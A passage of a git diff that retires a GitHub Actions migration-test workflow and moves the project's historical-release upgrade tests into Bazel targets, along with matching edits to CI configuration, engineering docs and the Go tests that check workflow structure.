deletions(-) delete mode 100644 .github/workflows/migration-test.yml create mode 100644 scripts/migration_corpus_bazel_test.go create mode 100644 tests/migration/BUILD.bazel create mode 100755 tests/migration/build_source_tag.sh create mode 100644 tests/migration/defs.bzl create mode 100644 tests/migration/gen_source_tag_lock.py create mode 100755 tests/migration/historical_upgrade_test.sh create mode 100755 tests/migration/legacy_bridge_test.sh create mode 100644 tests/migration/source_tag_modules.json create mode 100644 tools/bazel/go_module_proxy.bzl diff --git a/.bazelrc b/.bazelrc index e298cc59b..9855a5177 100644 --- a/.bazelrc +++ b/.bazelrc @@ -260,7 +260,9 @@ test:integration --test_env=BEADS_TEST_SKIP=dolt # keeps every container- or server-backed test skipped, which is what the # untagged base targets already do. scripts/bazel_policy_test.go derives the # required exclusions from the PR-core list, so a new lane tag lands here too. -test:integration --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual +# pr-core-only targets (the historical-release suites: shell tests against +# the release-shaped bd, which the PR-core lane already runs) stay out too. +test:integration --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-pr-core-only test:integration --build_tests_only test:integration --keep_going test:integration --test_summary=terse diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 2ad147015..cdb8c2751 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -427,7 +427,7 @@ jobs: # compile error is not transient. See pr.yml's copy for the full rationale. # # 3 attempts x 120s + 2 backoffs x 10s = 380s worst case. 8m leaves ~100s - # of headroom, matching the bounded apt-get steps in migration-test.yml. + # of headroom, matching the bounded apt-get step in release.yml. - name: Download modules timeout-minutes: 8 run: | @@ -1082,7 +1082,7 @@ jobs: # F7c: Blacksmith cannot see GitHub-hosted cache entries, so the advisory # workflows that moved onto a same-repo-PR Blacksmith runner (Regression's - # PR run, Migration Test Harness, Cross-Version Smoke, Proxied Local) need a + # PR run, Cross-Version Smoke, Proxied Local) need a # Blacksmith-side writer for their Go build # cache. This job is push-to-main only (always trusted), so it is the ONLY # writer: it always restores whatever is available, unconditionally re-runs diff --git a/.github/workflows/migration-test.yml b/.github/workflows/migration-test.yml deleted file mode 100644 index f8dd091f1..000000000 --- a/.github/workflows/migration-test.yml +++ /dev/null @@ -1,267 +0,0 @@ -name: Migration Test Harness - -on: - pull_request: - # "Upgrade-relevant code" allowlist (spec-f7.md §2.4): kept identical - # (modulo each workflow's own file/script entries) across conformance.yml, - # migration-test.yml and cross-version-smoke.yml, and pinned by - # TestAdvisoryWorkflowPathFilters. - paths: - - '**.go' - - '!**_test.go' - - 'go.mod' - - 'go.sum' - - 'Makefile' - - '.buildflags' - # Embedded into the binary (go:embed in internal/storage/schema), so a - # migration-only change is an upgrade-relevant code change. - - 'internal/storage/schema/migrations/**' - - '.github/workflows/migration-test.yml' - - 'scripts/migration-test/**' - - 'scripts/migrate-legacy-to-current.sh' - push: - tags: ['v*'] - workflow_dispatch: - -permissions: - contents: read - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - DOLT_TEST_RUNTIME_VERSION: v2.1.8 - DOLT_TEST_RUNTIME_SHA256: f66318f08ed66e409fc39363ae0fff8ce6fbf6dba9f5bac632b91527b9632a74 - -jobs: - historical-upgrades: - name: Historical ${{ matrix.shard }} shard → candidate - # v0.55.4 is dynamically linked against the ICU version shipped by Ubuntu - # 24.04's libicu74 package. blacksmith-*-ubuntu-2404 IS 24.04, so the pin - # holds there. The non-Blacksmith fallback below is pinned to the literal - # `ubuntu-24.04` label (NOT `ubuntu-latest`) for the same reason: - # actions/runner-images#14748 schedules `ubuntu-latest` to move from 24.04 - # to 26.04 starting 2026-10-19, and 26.04 drops libicu74 entirely, which - # would break the "Install test dependencies" step below and the v0.55.4 - # fixture's ICU ABI even if it didn't. Do not change this fallback to - # `ubuntu-latest`; see sameRepoBlacksmith4vcpuNoble in ci_workflow_test.go. - # F7c: 14 matrix legs (one per historical version) folded into 3 shards. - # Each shard builds the candidate once, installs its own dependencies - # once, then loops over `run.sh --version` for every version it owns, - # collecting failures so one bad version does not hide the rest (see - # "Verify explicit historical upgrades" below). - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }} - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - include: - # src: the one version built from source against Go 1.25, instead - # of installed as a pinned binary. - - shard: src - versions: '["v0.9.1"]' - cache-hash: 453aa2e25bbad328 - # pre-dolt: historical versions that predate the separate Dolt - # runtime oracle (no "Install Dolt test runtime" step needed). - - shard: pre-dolt - versions: '["v0.17.0","v0.49.6","v0.50.3","v0.63.3","v1.0.0"]' - cache-hash: 03cccab45291ead3 - # dolt-runtime: versions that need the pinned Dolt runtime binary - # as a read-only oracle (the old per-version `contains(...)` list). - - shard: dolt-runtime - versions: '["v0.55.4","v0.56.1","v0.57.0","v0.62.0","v1.0.1","v1.1.0","v1.1.2","v1.2.2"]' - cache-hash: a8579bd64e9a0926 - # The v1.1.2 tree re-tagged by the recovery release, so it adds no - # new storage regime — but it is the tag field upgrades actually - # start from, and it was never in this corpus. - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # Blacksmith runners cannot see GitHub-hosted setup-go cache entries, so - # setup-go's own `cache: true` (used above on ubuntu-24.04/ubuntu-latest) - # is disabled here and this job restores from the Blacksmith-side cache - # main.yml's blacksmith-setup-go-cache job seeds on every push to main. - # Restore-only by design (see B2 in the F7c implementation report): a - # same-repo PR can read this cache but never write to it, so a PR cannot - # poison what main's seeder or other PRs read. - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install test dependencies - # Backstop for a hang that escapes the inner `timeout` calls, so it has - # to sit ABOVE what those calls can legitimately consume: 3 update - # attempts x 120s + 2 backoffs x 10s + 180s install = 560s worst case. - # 11m leaves ~100s of headroom and stays under the job's 20m budget, so - # a stuck step fails as a step instead of cancelling the whole job. - timeout-minutes: 11 - run: | - updated="" - for attempt in 1 2 3; do - if sudo timeout 120 apt-get \ - -o Acquire::Retries=3 \ - -o Acquire::http::Timeout=30 \ - -o Acquire::https::Timeout=30 \ - update; then - updated=yes - break - fi - echo "::warning::apt-get update attempt $attempt failed or timed out" - # No backoff after the final attempt - there is nothing left to wait for. - if [ "$attempt" -lt 3 ]; then - sleep 10 - fi - done - # Deliberate best-effort: a stale index still installs these packages - # from the runner image cache far more often than not, and failing the - # job here would turn a transient mirror outage into a red build. The - # warning is what makes the degraded path visible in the job log. - if [ -z "$updated" ]; then - echo "::warning::apt-get update failed after 3 attempts; proceeding with cached index" - fi - sudo timeout 180 apt-get install -y jq libicu74 - - - name: Install Dolt test runtime - # v0.55.4-v0.62.0 host their fixture on this server; v1.0.1-v1.1.2 use - # the same pinned binary as a read-only oracle over the wisp plane, - # which has no `bd dolt sql` equivalent. This is exactly the - # dolt-runtime shard's version list. - if: matrix.shard == 'dolt-runtime' - run: | - archive="$RUNNER_TEMP/dolt-linux-amd64.tar.gz" - runtime="$RUNNER_TEMP/dolt-runtime" - install_root="$GITHUB_WORKSPACE/.tools/dolt" - curl -fsSL --retry 3 --retry-all-errors --retry-delay 2 \ - "https://github.com/dolthub/dolt/releases/download/${DOLT_TEST_RUNTIME_VERSION}/dolt-linux-amd64.tar.gz" \ - -o "$archive" - echo "${DOLT_TEST_RUNTIME_SHA256} $archive" | sha256sum -c - - mkdir -p "$runtime" "$install_root/bin" - tar -xzf "$archive" -C "$runtime" - install -m 0755 "$runtime/dolt-linux-amd64/bin/dolt" "$install_root/bin/dolt" - "$install_root/bin/dolt" version - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - # F7c review fix X1: a bare actions/cache here would auto-save on any - # key miss. On Blacksmith, same-repo PRs are the only ones that ever - # run this job (tag push and workflow_dispatch land on ubuntu-24.04, - # not Blacksmith), so a bare save would make every historical-dolt-* - # entry a same-repo-PR-only write - exactly what B2 forbids elsewhere. - # The checksum verification lib/binary.sh does on every extracted - # archive is not a sufficient mitigation: `tar -P` extraction plus - # `cp -f` following a planted `verified//bd` symlink can still - # write outside ~/.cache/beads-regression (e.g. over the checked-out - # workspace or the candidate binary itself) before the checksum check - # ever runs. Restore-only here, same split as smoke-binaries-*/ - # regression-baseline-* below: only push/dispatch (always GitHub-hosted - # for this job) may save. - - name: Restore pinned historical release cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/.cache/beads-regression - key: historical-dolt-${{ matrix.shard }}-${{ matrix.cache-hash }}-${{ runner.os }}-${{ runner.arch }} - - - name: Build candidate - run: make build - - - name: Set up Go 1.25 for v0.9.1 source build - if: matrix.shard == 'src' - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version: '1.25.0' - # No Blacksmith restore step for this narrow one-off (src shard - # only, a single version): accepting a cold build here rather than - # adding a second seeded cache keyspace for one matrix leg. - cache: ${{ runner.environment == 'github-hosted' }} - - # Each version runs as its own `run.sh` subprocess: the underlying - # historical-dolt-upgrade-test.sh uses `set -euo pipefail` and aborts at - # its first failure within one process, so a single multi-version - # invocation could silently hide every version queued after the first - # failure. Looping subprocess calls here, guarded by `if !`, is what - # lets "all versions run, and the job fails if any failed" (spec-f7.md - # §2.3.7) hold for shards with more than one version. - - name: Verify explicit historical upgrades - env: - CANDIDATE_BIN: ./bd - GIT_CONFIG_NOSYSTEM: "1" - DOLT_BIN: ${{ github.workspace }}/.tools/dolt/bin/dolt - SHARD_VERSIONS: ${{ matrix.versions }} - SHARD: ${{ matrix.shard }} - run: | - set -euo pipefail - mapfile -t versions < <(jq -r '.[]' <<<"$SHARD_VERSIONS") - # Fail closed: `jq -r '.[]'` over an empty array, a non-array - # scalar, or unparsable JSON all produce zero lines rather than a - # non-zero exit under process substitution, so mapfile would - # otherwise silently succeed with an empty $versions and this step - # would report green having verified nothing. - if [ "${#versions[@]}" -eq 0 ]; then - echo "::error::shard $SHARD resolved to zero versions from SHARD_VERSIONS=$SHARD_VERSIONS; failing closed instead of reporting a false pass" - exit 1 - fi - failed=0 - failed_versions=() - for v in "${versions[@]}"; do - echo "::group::Historical upgrade: $v" - # 8m per version plus a 30s SIGKILL grace: observed real runs take - # well under a minute, so this only trips on a genuine hang, and - # bounds the damage to one version's budget instead of a stuck - # subprocess silently consuming the rest of the job's 20m timeout - # and hiding every version queued after it. - if ! timeout --kill-after=30s 8m ./scripts/migration-test/run.sh --version "$v"; then - echo "::error::historical upgrade failed for $v" - failed=1 - failed_versions+=("$v") - fi - echo "::endgroup::" - done - if [ "${#failed_versions[@]}" -gt 0 ]; then - { - echo "### Failed historical upgrades (shard $SHARD)" - printf -- '- %s\n' "${failed_versions[@]}" - } >> "$GITHUB_STEP_SUMMARY" - fi - exit "$failed" - - - name: Save pinned historical release cache - # Allow-list push/workflow_dispatch rather than deny-list - # pull_request: a deny-list also admits a hypothetical future - # merge_group event, which this job's runs-on expression already - # resolves to Blacksmith for - exactly the same same-repo-writer - # risk X1 closed for pull_request. Pinned by - # TestBlacksmithReachableAdvisoryJobsNeverSaveACache (checks both the - # pull_request and merge_group trust contexts independently). - if: github.event_name == 'push' || github.event_name == 'workflow_dispatch' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/.cache/beads-regression - key: historical-dolt-${{ matrix.shard }}-${{ matrix.cache-hash }}-${{ runner.os }}-${{ runner.arch }} diff --git a/BUILD.bazel b/BUILD.bazel index c03faf804..9916ecbfd 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -374,6 +374,7 @@ filegroup( "//test/conformance:repo_files", "//test/docsync:repo_files", "//test/testmainconvention:repo_files", + "//tests/migration:repo_files", "//tests/regression:repo_files", "//third_party/cc_toolchain:repo_files", "//third_party/patches:repo_files", diff --git a/MODULE.bazel b/MODULE.bazel index d0e1a2d3f..f1e05a64c 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -220,6 +220,15 @@ dolt_release( platform = "darwin-arm64", ) +# The migration corpus's external Dolt runtime (scripts/migration-test/lib/ +# versions.sh DOLT_TEST_RUNTIME_VERSION): an older release than DOLT_VERSION, +# deliberately, as the historical server-Dolt fixtures' host. +dolt_release( + name = "dolt_test_runtime_linux_amd64", + platform = "linux-amd64", + version = "2.1.8", +) + # The tracked release formula, for //scripts:scripts_test and the # whole-checkout guard //scripts/repochecks:go_install_guidance_test. .beads/ # also holds live bd data and is in .bazelignore, so no main-repo target can @@ -246,3 +255,33 @@ new_local_repository( bd_releases = use_extension("//tools/bazel:bd_releases.bzl", "bd_releases") bd_releases.catalog(path = "//scripts:migration-test/release-catalog.json") use_repo(bd_releases, "bd_releases") + +# The source-tag SQLite release (v0.9.1) has no release asset: the migration +# corpus builds it from its module source with the Go release it was +# qualified on, offline (//tests/migration:bd_source_tag). The proxy files +# are pinned in tests/migration/source_tag_modules.json, the toolchain here. +go_module_proxy = use_repo_rule("//tools/bazel:go_module_proxy.bzl", "go_module_proxy") + +go_module_proxy( + name = "bd_source_tag_goproxy", + lock = "//tests/migration:source_tag_modules.json", +) + +http_archive = use_repo_rule("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive") + +http_archive( + name = "go_1_25_0_linux_amd64", + build_file_content = """exports_files( + ["go/bin/go"], + visibility = ["//visibility:public"], +) + +filegroup( + name = "sdk", + srcs = glob(["go/**"]), + visibility = ["//visibility:public"], +) +""", + sha256 = "2852af0cb20a13139b3448992e69b868e50ed0f8a1e5940ee1de9e19a123b613", + urls = ["https://go.dev/dl/go1.25.0.linux-amd64.tar.gz"], +) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index c7f630716..a6bac3a6d 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -495,6 +495,7 @@ go_binary( "//internal/beads:__pkg__", "//internal/storage/uow:__pkg__", "//test/conformance:__pkg__", + "//tests/migration:__pkg__", "//tests/regression:__pkg__", ], ) diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 5936cf71e..18a805381 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -201,7 +201,7 @@ Key jobs preserved by display name: |---|---|---| | `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (8 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | | `cross-version-smoke.yml` | Tags, PRs, manual | PRs test latest 5 releases, tags test latest 30, via `scripts/upgrade-smoke-test.sh`. | -| `migration-test.yml` | Tags, PRs touching upgrade-relevant code (advisory, path-filtered), manual | Builds candidate once per shard (3 shards, folded from 14 per-version legs, F7c) and loops `scripts/migration-test/run.sh --version` over each shard's versions; not a required PR/main gate. | +| `bazel.yml` `bazel-test` (formerly `migration-test.yml`) | PR, merge group, push to `main` | `//tests/migration:historical_upgrade__test`, one target per reviewed release (14, v0.9.1 source-built offline) plus `legacy_bridge_test`, against catalog-pinned release binaries; cached until their inputs change. Local entrypoint stays `scripts/migration-test/run.sh`. | | `nightly.yml` | Daily schedule, manual | `go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./...` with `BEADS_TEST_SKIP=dolt`; checks coverage >= 30%. | | `nix-build.yml` | Push to `main` paths for Nix or Go module files, manual | `nix build .#default --print-build-logs`; no longer runs on `pull_request` (F7c, spec-f7.md §2.4) since PR Risk's required `test-nix` job (`nix run .#default` plus `nix flake check -L`) is a superset. | | `deploy-docs.yml` | Push to `main` paths `website/**` or `scripts/generate-llms-full.sh`, manual | `npm ci`, generate `llms-full.txt`, `npm run build`, internal link check, non-blocking external link check, deploy Pages. | diff --git a/engdocs/ICU-POLICY.md b/engdocs/ICU-POLICY.md index a8ef447f4..5939860d6 100644 --- a/engdocs/ICU-POLICY.md +++ b/engdocs/ICU-POLICY.md @@ -55,7 +55,7 @@ Every build path that produces a binary for users must include `-tags gms_pure_g | PR CI | `.github/workflows/pr.yml`, `.github/workflows/pr-risk.yml` | | Main CI test matrix | `.github/workflows/main.yml` (Linux, macOS, Windows) | | macOS release | `.github/workflows/release.yml` | -| Migration tests | `.github/workflows/migration-test.yml` | +| Migration tests | `//tests/migration/...` (Bazel, `bazel.yml` `bazel-test`) | | Nightly tests | `.github/workflows/nightly.yml` | | Cross-version smoke | `.github/workflows/cross-version-smoke.yml` | | Regression tests | `//tests/regression:regression_test` (Bazel, `bazel.yml` `bazel-cmd-dolt`) | diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 4c619b4e1..b4efd8902 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -41,6 +41,7 @@ go_test( "host_tools_test.go", "install_dolt_test.go", "managed_local_lane_test.go", + "migration_corpus_bazel_test.go", "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", @@ -110,6 +111,20 @@ exports_files( visibility = ["//scripts/migration-test/catalog:__pkg__"], ) +# The historical-upgrade harness (scripts/migration-test) and the public +# SQLite bridge it drives, for //tests/migration's per-release targets. +filegroup( + name = "migration_harness", + srcs = [ + "migrate-legacy-to-current.sh", + "migration-test/historical-dolt-upgrade-test.sh", + "migration-test/legacy-bridge-test.sh", + "migration-test/lib/binary.sh", + "migration-test/lib/versions.sh", + ], + visibility = ["//tests/migration:__pkg__"], +) + exports_files( [ "ci/fmt-check.sh", diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index adb795b6d..43a1c815a 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -846,6 +846,12 @@ var allowedBazelTestTags = map[string]string{ // zero tests, which check_testcases.py rejects and equivalence.py can // only note. gazelle keeps the hand-written tags attribute. "integration-only": "holds tests only under the integration build tag; excluded from --config=prcore/ci, run by --config=integration", + // For a non-Go sh_test (no Go testcases in its test.xml, which the + // integration lane's check_testcases.py would reject) that runs the + // release-shaped bd_for_tests: the PR-core lane builds bd without the + // integration tag, as releases are, and running it again under the + // integration build would only repeat it against a test-shaped bd. + "pr-core-only": "runs only in --config=prcore/ci; excluded from --config=integration", } // bazelPRCoreExcludedTags are the tags whose targets never run in the PR-core @@ -862,10 +868,14 @@ var bazelPRCoreExcludedTags = []string{"requires-docker", "dolt-server", "dolt-s // other lane's variant stays out of it. var bazelIntegrationRunsTags = map[string]bool{"integration-only": true} +// bazelPRCoreOnlyTags are the tags the PR-core lane runs and the integration +// lane does not. +var bazelPRCoreOnlyTags = []string{"pr-core-only"} + // bazelIntegrationExcludedTags is bazelPRCoreExcludedTags less the tags the -// integration lane runs. +// integration lane runs, plus bazelPRCoreOnlyTags. func bazelIntegrationExcludedTags() []string { - var tags []string + tags := append([]string(nil), bazelPRCoreOnlyTags...) for _, tag := range bazelPRCoreExcludedTags { if !bazelIntegrationRunsTags[tag] { tags = append(tags, tag) diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 5f193ae29..100d2e776 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -1,19 +1,13 @@ package scripts_test import ( - "context" - "crypto/sha256" - "encoding/hex" "encoding/json" "fmt" - "os" "os/exec" - "path/filepath" "regexp" "sort" "strings" "testing" - "time" "gopkg.in/yaml.v3" ) @@ -29,11 +23,11 @@ import ( // advisoryPathFilteredWorkflows are the workflows that share the // "upgrade-relevant code" allowlist verbatim, save for each one's own -// workflow-file and script entries (spec-f7.md §2.4). conformance.yml was -// the third until its tiers moved to Bazel (embeddeddolt_conformance_*, -// //test/conformance:conformance_test). +// workflow-file and script entries (spec-f7.md §2.4). conformance.yml and +// migration-test.yml were the others until their tiers moved to Bazel +// (embeddeddolt_conformance_*, //test/conformance:conformance_test, +// //tests/migration). var advisoryPathFilteredWorkflows = []string{ - "migration-test.yml", "cross-version-smoke.yml", } @@ -57,14 +51,6 @@ var advisoryPathFilterBase = []string{ // advisoryPathFilterOwnEntries is each workflow's own file/script additions, // appended after advisoryPathFilterBase. var advisoryPathFilterOwnEntries = map[string][]string{ - "migration-test.yml": { - ".github/workflows/migration-test.yml", - "scripts/migration-test/**", - // F7c review fix (S3): the migration harness invokes this script - // directly, but it lives at scripts/ root, not under - // scripts/migration-test/, so it was not covered by the filter. - "scripts/migrate-legacy-to-current.sh", - }, "cross-version-smoke.yml": { ".github/workflows/cross-version-smoke.yml", "scripts/upgrade-smoke-test.sh", @@ -130,7 +116,7 @@ func TestAdvisoryWorkflowPathFiltersAreIdentical(t *testing.T) { // TestAdvisoryWorkflowPathFiltersCoverOwnInputs pins that each workflow also // allowlists its own workflow file and the scripts/fixtures it actually -// exercises, so an edit to e.g. scripts/migration-test/** is never silently +// exercises, so an edit to e.g. scripts/upgrade-smoke-test.sh is never silently // skipped by the filter that was added to cut unrelated-PR load. func TestAdvisoryWorkflowPathFiltersCoverOwnInputs(t *testing.T) { for file, want := range advisoryPathFilterOwnEntries { @@ -199,357 +185,6 @@ func TestNixBuildDropsPullRequestTriggerNotPushOrDispatch(t *testing.T) { } } -// --- Migration Test Harness: 14 -> 3 shards, no version dropped ----------- - -// migrationHarnessOriginalVersions is the pre-F7c 14-leg matrix's version -// list, captured verbatim so a shard rebalance can be checked against it -// without re-deriving it from the (now folded) workflow file. -var migrationHarnessOriginalVersions = []string{ - "v0.9.1", "v0.17.0", "v0.49.6", "v0.50.3", "v0.55.4", "v0.56.1", - "v0.57.0", "v0.62.0", "v0.63.3", "v1.0.0", "v1.0.1", "v1.1.0", - "v1.1.2", "v1.2.2", -} - -// migrationHarnessDoltRuntimeVersions is the old per-version -// `contains(fromJSON('[...]'), matrix.version)` list that gated the "Install -// Dolt test runtime" step. It must become exactly the dolt-runtime shard. -var migrationHarnessDoltRuntimeVersions = []string{ - "v0.55.4", "v0.56.1", "v0.57.0", "v0.62.0", "v1.0.1", "v1.1.0", "v1.1.2", "v1.2.2", -} - -func migrationHarnessShards(t *testing.T) map[string][]string { - t.Helper() - workflow := readCIWorkflow(t, "migration-test.yml") - job := workflow.job(t, "historical-upgrades") - shards := map[string][]string{} - for _, leg := range job.Strategy.Matrix.Include { - shardAny, ok := leg.Extra["shard"] - if !ok { - t.Fatalf("migration-test.yml matrix leg %+v has no shard field", leg.Extra) - } - shard, ok := shardAny.(string) - if !ok { - t.Fatalf("migration-test.yml matrix leg shard = %#v, not a string", shardAny) - } - versionsAny, ok := leg.Extra["versions"] - if !ok { - t.Fatalf("migration-test.yml shard %q has no versions field", shard) - } - versionsJSON, ok := versionsAny.(string) - if !ok { - t.Fatalf("migration-test.yml shard %q versions = %#v, not a string", shard, versionsAny) - } - var versions []string - if err := json.Unmarshal([]byte(versionsJSON), &versions); err != nil { - t.Fatalf("migration-test.yml shard %q versions %q does not parse as a JSON string array: %v", shard, versionsJSON, err) - } - if _, dup := shards[shard]; dup { - t.Fatalf("migration-test.yml declares shard %q more than once", shard) - } - shards[shard] = versions - } - return shards -} - -// TestMigrationHarnessShardsCoverAllHistoricalVersions is the equivalence -// check the fold requires: the union of the 3 shards' version lists must be -// exactly the old 14-version set, with no duplicates and nothing dropped. -func TestMigrationHarnessShardsCoverAllHistoricalVersions(t *testing.T) { - shards := migrationHarnessShards(t) - - wantShardNames := []string{"src", "pre-dolt", "dolt-runtime"} - for _, name := range wantShardNames { - if _, ok := shards[name]; !ok { - t.Errorf("migration-test.yml is missing shard %q", name) - } - } - if len(shards) != len(wantShardNames) { - t.Errorf("migration-test.yml has shards %v, want exactly %v", mapKeys(shards), wantShardNames) - } - - seen := map[string]string{} // version -> owning shard - var union []string - for shard, versions := range shards { - for _, v := range versions { - if owner, dup := seen[v]; dup { - t.Errorf("version %s is claimed by both shard %q and shard %q", v, owner, shard) - continue - } - seen[v] = shard - union = append(union, v) - } - } - sort.Strings(union) - want := append([]string(nil), migrationHarnessOriginalVersions...) - sort.Strings(want) - if !equalStrings(union, want) { - t.Fatalf("shard union = %v, want exactly the old 14-version set %v", union, want) - } - - if !equalStrings(sortedCopy(shards["dolt-runtime"]), sortedCopy(migrationHarnessDoltRuntimeVersions)) { - t.Errorf("dolt-runtime shard = %v, want exactly the old Dolt-runtime contains() list %v", shards["dolt-runtime"], migrationHarnessDoltRuntimeVersions) - } - if !equalStrings(shards["src"], []string{"v0.9.1"}) { - t.Errorf("src shard = %v, want exactly [v0.9.1]", shards["src"]) - } -} - -// TestMigrationHarnessLoopExecutesBehaviorally runs the actual "Verify -// explicit historical upgrades" bash against a stub run.sh, proving the -// loop's real behavior instead of its source text (F7c review fix S1/S4/S5, -// closes mutations M1 `exit 0`, M2 `break`, M14 `| head -1`, and pins the -// fail-closed and per-version-timeout fixes the reviewer required): -// - every version in the shard is attempted even after an earlier one -// fails (a short-circuiting `exit 0`/`break` would hide the rest); -// - the step's own exit code reflects any failure; -// - failures are both ::error:: annotated and written to -// $GITHUB_STEP_SUMMARY; -// - an empty or unparsable SHARD_VERSIONS fails closed instead of -// reporting a false pass, without ever invoking run.sh; -// - a hung version is bounded by `timeout`, and the loop still reaches the -// version queued after it. -// -// A bare `./scripts/migration-test/run.sh --version "$HISTORICAL_VERSION"` -// (the pre-fold single-version invocation) must also be gone: if it came -// back, the shard would silently only test one version again. -func TestMigrationHarnessLoopExecutesBehaviorally(t *testing.T) { - requireHostTool(t, "bash") - requireHostTool(t, "jq") - requireHostTool(t, "timeout") - - job := readCIWorkflow(t, "migration-test.yml").job(t, "historical-upgrades") - step := job.step(t, "Verify explicit historical upgrades") - - if strings.Contains(step.Run, "$HISTORICAL_VERSION") { - t.Errorf("migration-test.yml's Verify step still references the old single-version $HISTORICAL_VERSION env var") - } - - writeHarness := func(t *testing.T, runSh string) (dir, summaryFile string) { - t.Helper() - dir = t.TempDir() - scriptDir := filepath.Join(dir, "scripts", "migration-test") - if err := os.MkdirAll(scriptDir, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(scriptDir, "run.sh"), []byte(runSh), 0o755); err != nil { - t.Fatal(err) - } - summaryFile = filepath.Join(dir, "summary.md") - if err := os.WriteFile(summaryFile, nil, 0o644); err != nil { - t.Fatal(err) - } - return dir, summaryFile - } - - baseEnv := func(shardVersions, summaryFile string) []string { - return append(os.Environ(), - "CANDIDATE_BIN=./bd", - "GIT_CONFIG_NOSYSTEM=1", - "DOLT_BIN=/nonexistent/dolt", - "SHARD_VERSIONS="+shardVersions, - "SHARD=test-shard", - "GITHUB_STEP_SUMMARY="+summaryFile, - ) - } - - run := func(t *testing.T, script, shardVersions, runSh string) (exitCode int, out, summary string) { - t.Helper() - dir, summaryFile := writeHarness(t, runSh) - cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script) - cmd.Dir = dir - cmd.Env = baseEnv(shardVersions, summaryFile) - outBytes, err := cmd.CombinedOutput() - code := 0 - if err != nil { - exitErr, ok := err.(*exec.ExitError) - if !ok { - t.Fatalf("run loop: %v\noutput:\n%s", err, outBytes) - } - code = exitErr.ExitCode() - } - summaryBytes, readErr := os.ReadFile(summaryFile) - if readErr != nil { - t.Fatal(readErr) - } - return code, string(outBytes), string(summaryBytes) - } - - t.Run("every version runs even after an early failure, and the step fails", func(t *testing.T) { - const stub = `#!/usr/bin/env bash -set -euo pipefail -v="" -while [ $# -gt 0 ]; do - if [ "$1" = "--version" ]; then v="$2"; fi - shift -done -echo "stub-ran:$v" -[ "$v" = "v2" ] && exit 1 -exit 0 -` - code, out, summary := run(t, step.Run, `["v1","v2","v3"]`, stub) - for _, v := range []string{"v1", "v2", "v3"} { - if !strings.Contains(out, "stub-ran:"+v) { - t.Errorf("version %s never ran; output:\n%s", v, out) - } - } - if code != 1 { - t.Errorf("exit code = %d, want 1 (v2 failed)", code) - } - if !strings.Contains(out, "::error::historical upgrade failed for v2") { - t.Errorf("missing ::error:: for v2; output:\n%s", out) - } - if strings.Contains(out, "::error::historical upgrade failed for v1") || 